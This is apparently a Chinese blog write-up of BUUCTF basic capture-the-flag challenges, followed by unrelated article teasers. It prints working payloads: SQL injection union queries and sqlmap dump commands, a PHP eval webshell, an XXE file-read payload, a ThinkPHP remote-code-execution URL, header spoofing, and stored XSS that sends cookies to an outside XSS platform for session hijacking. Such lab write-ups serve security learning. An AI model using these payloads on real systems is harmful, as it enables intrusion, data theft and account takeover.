BUUCTF - Basic

news2024/11/19 6:29:04

文章目录

    • 1. Linux Labs 【SSH连接漏洞】
    • 2. BUU LFI COURSE【文件包含漏洞】
    • 3. BUU BRUTE【暴力破解用户名密码】
    • 4. BUU SQL COURSE【SQL注入-当前数据库】
    • 5. Upload-Labs-Linux 1【文件上传漏洞】
    • 7. Buu Upload Course 1【文件上传+包含漏洞】
    • 8. sqli-labs 1【SQL注入-服务器上的其他数据库】
    • 9. BUU BURP COURSE 1【IP伪造漏洞】
    • 10. BUU XXE COURSE 1 【XXE漏洞】
    • 11 LFI labs【文件包含漏洞】
    • 12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】
    • 13 AWD Test 1【ThinkPHP框架漏洞】
    • 15 AWD Test2 【SQL注入-万能密码】
    • 16 BUU SQL COURSE 2【SQL注入-sqlmap使用】
    • 17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】
    • 18 XSS labs【XSS-基础】

1. Linux Labs 【SSH连接漏洞】

题目给出了ssh连接的用户名密码,考察 ssh 连接主机,主机 IP 地址可以通过ping域名获得;端口要改成靶机的端口,不是默认的22。
连接远程主机后即可找到 flag 文件。

2. BUU LFI COURSE【文件包含漏洞】

题目是一段PHP代码,看出来存在文件包含漏洞,只要传入文件名,就会将文件内容展示出来。可以盲目猜一猜 flag 的文件名:
在这里插入图片描述

3. BUU BRUTE【暴力破解用户名密码】

一道爆破题,burpsuite 爆破用户名密码即可。注意下请求过快会报 429,可以尝试减小线程数,增加延时。
在这里插入图片描述

4. BUU SQL COURSE【SQL注入-当前数据库】

这是一道SQL注入的题,可以看到地址栏输入 1 2 3 可以得到不同的显示结果,尝试判断注入点:
在这里插入图片描述
1)输入下列语句发现第一个有结果第二个没结果,说明是数值型且可以注入;

and 1=1 
and 1=2 

2)输入下列语句查找数据库名称,如果字段数不对可以再多试试,得到数据库为 news

union select 1,database()--+

3)输入下列语句查找表名,得到两张表 amdin 和 contents:

union select 1,group_concat(table_name) from information_schema.tables where table_schema="news"

4)输入下列语句查找 admin 表中的字段名,得到 id,username,password:

union select 1,group_concat(column_name) from information_schema.columns where table_name="admin"

5)知道了表名和字段名就可以查找表中的数据了,这里我们要找登录用户,找到后登录即可拿到 flag:

union select username,password from admin

5. Upload-Labs-Linux 1【文件上传漏洞】

文件上传漏洞,上传一个php一句话木马文件,返回了文件的访问路径,再用蚁剑连接,即可在根目录找到flag。

7. Buu Upload Course 1【文件上传+包含漏洞】

  1. 这个也是文件上传漏洞,上传一个木马文件,发现无论上传什么都会被重命名为 jpg 文件:
<?php eval(@$_POST['cmd']); echo "hello"?>

在这里插入图片描述
2. 本来这样是没啥办法的,但是我们访问这个木马文件,发现这个文件其实是被执行了,输出了 hello;
3. 所以这个其实是一个文件包含漏洞!!!只有文件包含漏洞才能将我们的 jpg 文件当作代码执行,所以还是直接用蚁剑访问这个木马文件,即可连接找到 flag。

8. sqli-labs 1【SQL注入-服务器上的其他数据库】

按照第 4 题类似的方式注入,查找当前数据库 security,发现所有表里都没有 flag。查找当前服务器上其他数据库:

union+select+1,2,group_concat(schema_name)+from+information_schema.schemata--+

发现有个 ctftraining 数据库,查找该数据库下的表,果然找到了有个 flag表,该表里有个flag字段。但注意后续查找 flag 的值需要带上数据库名,否则还会在当前数据库中查找就查不到了:

union+select+1,2,flag+from+ctftraining.flag--+

9. BUU BURP COURSE 1【IP伪造漏洞】

访问地址发现说只能本地访问,使用 bp 拦截请求,添加以下header头:

X-Real-IP: 127.0.0.1
Content-Length: 0

然后出现一个登录页面:
在这里插入图片描述拦截该登录请求,同样添加:X-Real-IP: 127.0.0.1
登录成功,返回 flag。

10. BUU XXE COURSE 1 【XXE漏洞】

XXE漏洞参考:https://zhuanlan.zhihu.com/p/689906749

随便输入一个用户名密码,发现请求参数是 XML 格式的,且返回输入的 admin 值:
在这里插入图片描述
可能存在 XXE 漏洞。

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

构造 XML 实体来读取 flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "file:///flag"> 
]>
<root>
    <username>&a;</username>
    <password>1</password>
</root>

这里可能需要猜测一下 flag 所处的位置。结果返回 flag:
在这里插入图片描述

11 LFI labs【文件包含漏洞】

文件包含漏洞:
在这里插入图片描述
看提示需要输入文件名,输入:/flag,返回 flag
在这里插入图片描述

12 BUU XSS COURSE 1【XSS漏洞-窃取cookie】

  1. XSS 漏洞。这是一个留言板,留言以后会返回留言保存的位置:
    在这里插入图片描述
  2. 注入 XSS:<script>alert('flag')</script>,但是没有成功,查看返回结果,原来是被转义了:
    在这里插入图片描述
  3. 尝试其他注入:<input onclick="alert('xss');">,可以注入成功。同样 img 标签也可以成功。
    在这里插入图片描述
  4. 现在的问题在于如何通过这个漏洞获取flag,XSS一般都是用来窃取cookie的,我们使用免费的 XSS 平台,通过xss漏洞将cookie窃取发到这个免费的 xss 平台上。
  5. 登录免费的XSS平台 https://xssaq.com/,首先创建一个项目,勾选以下两项:
    在这里插入图片描述
  6. 出来一些示例代码,选取 img 标签的代码,提交到输入框中:
    在这里插入图片描述
    在这里插入图片描述
  7. 由于本 XSS 漏洞为存储型漏洞,当有人访问我们提交的这个吐槽时,就会自动将其 cookie 发送到我们的 XSS 平台上。去项目内容看看,果然有一条 cookie 消息:
    在这里插入图片描述
  8. 直接访问这个后台地址 backend/admin.php,发现显示未登录:
    在这里插入图片描述
    拦截该请求,替换成管理员的 cookie,成功获取到了 flag:
    在这里插入图片描述
    在这里插入图片描述

13 AWD Test 1【ThinkPHP框架漏洞】

方式一:给出了ssh连接的用户名密码,通过 ssh 远程连接即可。

方式二:

  1. 启动靶机,是一个简陋的网页,随便点点,出现了以下页面:
    在这里插入图片描述
  2. 说明网站使用的是 ThinkPHP框架,且知道了其版本号。去查查这个框架存在的漏洞,发现有远程代码执行漏洞:
    在这里插入图片描述
    且可以查到漏洞的利用方法,即构造以下payload可获取php配置文件:?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
    在这里插入图片描述
  3. 输入上述payload,果然返回了 php 配置信息:
    在这里插入图片描述
  4. phpinfo 没啥有用的,构造以下 payload 还可以执行命令:

在这里插入图片描述
注意 id 就是我们要执行的命令行代码,这里我们 ls 查看根目录的文件:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/

发现有个 flag 和 flag.txt:
在这里插入图片描述
5. 查看该 flag.txt 提交后不对,查看 flag,flag 正确。
payload 为 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

在这里插入图片描述

15 AWD Test2 【SQL注入-万能密码】

  1. 给出了ssh连接的用户名密码,通过 ssh 远程连接即可。
  2. 如果使用网页登录,登录可尝试万能密码 admin' or 1#

在这里插入图片描述

16 BUU SQL COURSE 2【SQL注入-sqlmap使用】

  1. SQL 注入的题,看选择一条新闻标题会展示一条新闻,可以从此处着手
    在这里插入图片描述
  2. 开始在地址栏里尝试注入了好多次都没成功,后来才发现不应该直接在地址栏注入。打开F12,发现点击新闻时会发送一个隐藏的url,这个才是真正的注入点:
    在这里插入图片描述
  3. 按照之前的方式尝试注入,可以注入成功,不细讲。
  4. 这里介绍使用 sqlmap 的使用方式,通过sqlmap实现注入。
//获取所有数据库
python sqlmap.py -u URL --dbs
//获取当前数据库
python sqlmap.py -u URL --current-db
//获取表名(如果不指定数据库,将默认获取所有库的表名)
python sqlmap.py -u URL -D 数据库名 --tabls
//获取字段名
python sqlmap.py -u URL -D 数据库名 -T 表名 --columns
//获取值
sqlmap -u URL -D 数据库名 -T 表名 -C 字段1,字段2,... --dump

依次爆出数据库名、表名、字段名,获取值即可:python sqlmap.py -u http://c9f858c4-097b-4614-afc0-6dfb99111e10.node5.buuoj.cn:81/backend/content_detail.php?id=1 -D ctftraining -T flag -C flag --dump

17 [Windows]Upload-Labs-Windows【文件上传漏洞-基础】

文件上传漏洞,前端校验图片类型,burpsuite 改文件后缀即可绕过,成功上传一句话木马并且返回了文件路径。但是用蚁剑连接时报错不知道啥问题。

18 XSS labs【XSS-基础】

一直让做 xss-labs 的题,攻破到第八关还没得到flag,不想做了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1899979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【论文笔记】BEVCar: Camera-Radar Fusion for BEV Map and Object Segmentation

原文链接&#xff1a;https://arxiv.org/abs/2403.11761 0. 概述 本文的BEVCar模型是基于环视图像和雷达融合的BEV目标检测和地图分割模型&#xff0c;如图所示。模型的图像分支利用可变形注意力&#xff0c;将图像特征提升到BEV空间中&#xff0c;其中雷达数据用于初始化查询…

Linux 进程间的信号

1.信号的初认识 信号是进程之间事件异步通知的一种方式&#xff0c;属于软中断。通俗来说信号就是让用户或进程给其他用户和进程发生异步信息的一种方式。对于信号我们可以根据实际生活&#xff0c;对他有以下几点认识&#xff1a;1.在没有产生信号时我们就知道产生信号要怎么处…

C++:特殊类的设计(无线程)

目录 一、设计一个不能拷贝类 二、设计一个只能在堆上创建对象的类 方法一&#xff1a;析构函数私有化 方法二&#xff1a;构造函数私有化 三、设计一个只能在栈上创建对象的类 四、设计一个类不能被继承 五、设计一个只能创建一个对象的类&#xff08;单例模式&#xf…

加盖骑缝章软件、可以给PDF软件加盖自己的骑缝章

加盖骑缝章的软件多种多样&#xff0c;尤其是针对PDF文件&#xff0c;有多种软件可以实现给PDF文件加盖自己的骑缝章。以下是一些常用的软件及其特点&#xff1a; 1. Adobe Acrobat Pro DC 特点&#xff1a; 多功能PDF编辑&#xff1a;Adobe Acrobat Pro DC是一款功能强大的…

开发必备基础知识【Linux环境变量文件合集】

开发必备基础知识【Linux环境变量文件合集】 在Linux系统中&#xff0c;环境配置文件用于定制用户的Shell环境&#xff0c;包括定义环境变量、设置命令别名、定义启动脚本等。不同的Shell&#xff08;如bash、zsh&#xff09;有着各自对应的配置文件。 .bashrc&#xff1a;每新…

【推荐图书】深入浅出Spring Boot 3.x

推荐原因 这部SpringBoot3.x经典之作&#xff0c;时隔六年迎来重磅升级&#xff01; 适合java开发相关读者 购买链接 商品链接&#xff1a;https://item.jd.com/14600442.html 介绍 书名&#xff1a;深入浅出Spring Boot 3.x ISBN&#xff1a;978-7-115-63282-1/ 作者&…

C语言之Const关键字与指针

目录 1 前言2 变量与指针的储存方式3 const int *var;int *const var&#xff1b;const int *const var&#xff1b;理解与区分4 总结 1 前言 实际开发过程中经常遇到const关键字作用于指针的情况&#xff0c;例如&#xff1a;const int *var;int *const var&#xff1b;const…

红薯小眼睛接口分析与Python脚本实现

文章目录 1. 写在前面2. 接口分析3. 算法脚本实现 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Py…

比 PIP 快 100 倍的安装工具

uv 是一个由 Rust 开发的 pip 工具&#xff0c;比 pip 快 100 倍&#xff0c;难以置信&#xff0c;不过真的是快太多了。 安装 在 Mac 上直接通过 brew install uv 安装即可。 venv 创建运行环境&#xff0c;默认当前目录下 .venv uv venv 依赖安装 uv pip install -r re…

Java | Leetcode Java题解之第217题存在重复元素

题目&#xff1a; 题解&#xff1a; class Solution {public boolean containsDuplicate(int[] nums) {Set<Integer> set new HashSet<Integer>();for (int x : nums) {if (!set.add(x)) {return true;}}return false;} }

谷粒商城学习笔记-14-项目结构创建提交到码云

一&#xff0c;码云上创建工程仓库 1&#xff0c;,点击右上角加号&#xff0c;选择新建仓库 2&#xff0c;填充必要信息 ①仓库名称&#xff0c;可以理解为工程名称。 ②仓库介绍&#xff0c;添加关于仓库的说明。 ③仓库权限设置&#xff0c;如果是公司项目&#xff0c;一般…

InnoDB内部结构

在mysql数据库中&#xff0c;InnoDB存储引擎是最为常用和强大的存储引擎之一。了解InnoDB的内存结构对于优化数据库的性能&#xff0c;提高系统的稳定性和扩展性至关重要。本文将深入探讨InnoDB的内存结构。 1.Buffer Pool Buffer Pool: 缓冲池&#xff0c;其作用是用来缓存表…

为什么https比http更安全

读完本文&#xff0c;希望你能明白&#xff1a; HTTP通信存在什么问题HTTPS如何改进HTTP存在那些问题HTTPS工作原理是什么 一、什么是HTTPS HTTPS是在HTTP上建立SSL加密层&#xff0c;并对传输数据进行加密&#xff0c;是HTTP协议的安全版。现在它被广泛用于万维网上安全敏感…

奇舞周刊第532期:奇舞团生日快乐~

时光荏苒&#xff0c;岁月如歌&#xff0c;转眼间&#xff0c;奇舞团13岁啦&#x1f382;&#x1f382;&#x1f382;《奇舞周刊》也陪伴大家来到了第532期。&#x1f44f;&#x1f44f; 致敬每一位读者和创作者&#xff0c;是你们的热情、陪伴和鼓励&#xff0c;让我们不断前进…

SpringBoot | 大新闻项目源码打包

对于一个完成好的后端项目&#xff0c;如何进行打包发送给其他人&#xff0c;在电脑上进行查看 1.在pom.xml添加&#xff1a; <build><plugins> <!-- 打包插件--><plugin><groupId>org.springframework.boot</groupId><art…

【HTML入门】第二课 - head标签下的常见表情们

目录 1 本节概要 2 head下的常见标签 2.1 网页编码设置 2.2 网页的标题 2.3 样式标签 3 head标签的内容不会显示到网页上 4 查看网页源代码 1 本节概要 上一节&#xff0c;我们说了HTML网页最基本的框架标签&#xff0c;说到标签分为head头部和body身体部分。这一小节呢…

文言文编程语言|老外来了也得先学论语

最近看到一个有意思的开源项目 wenyan&#xff0c;主要功能就是使用文言文来编写代码。 按项目说明 “Wenyan” 是一种遵循中国古典文学的语法和语调的编程语言。 此外&#xff0c;文言的字符集仅包含繁体汉字和「」引号&#xff0c;确保古代中国人能够阅读。 该编程语言的文…

C++:类的成员属性,公有,私有,保护

在C中级别&#xff0c;类的成员属性分为三种访问控制&#xff1a;公有&#xff08;public&#xff09;、私有&#xff08;private&#xff09;和保护&#xff08;protected&#xff09;。它们用于控制类内部数据对类外部的可见性和访问权限。设置访问属性对于封装和信息隐藏至关…

Truffle学习笔记

Truffle学习笔记 安装truffle, 注意: 虽然目前truffle最新版是 5.0.0, 但是经过我实践之后, 返现和v4有很多不同(比如: web3.eth.accounts; 都获取不到账户), 还是那句话: “nodejs模块的版本问题会搞死人的 !” 目前4.1.15之前的版本都不能用了, 只能安装v4.1.15 npm instal…

Beats:使用 Filebeat 从 Python 应用程序中提取日志

本指南演示了如何从 Python 应用程序中提取日志并将其安全地传送到 Elasticsearch Service 部署中。你将设置 Filebeat 来监控具有标准 Elastic Common Schema (ECS) 格式字段的 JSON 结构日志文件&#xff0c;然后你将在 Kibana 中查看日志事件发生的实时可视化。虽然此示例使…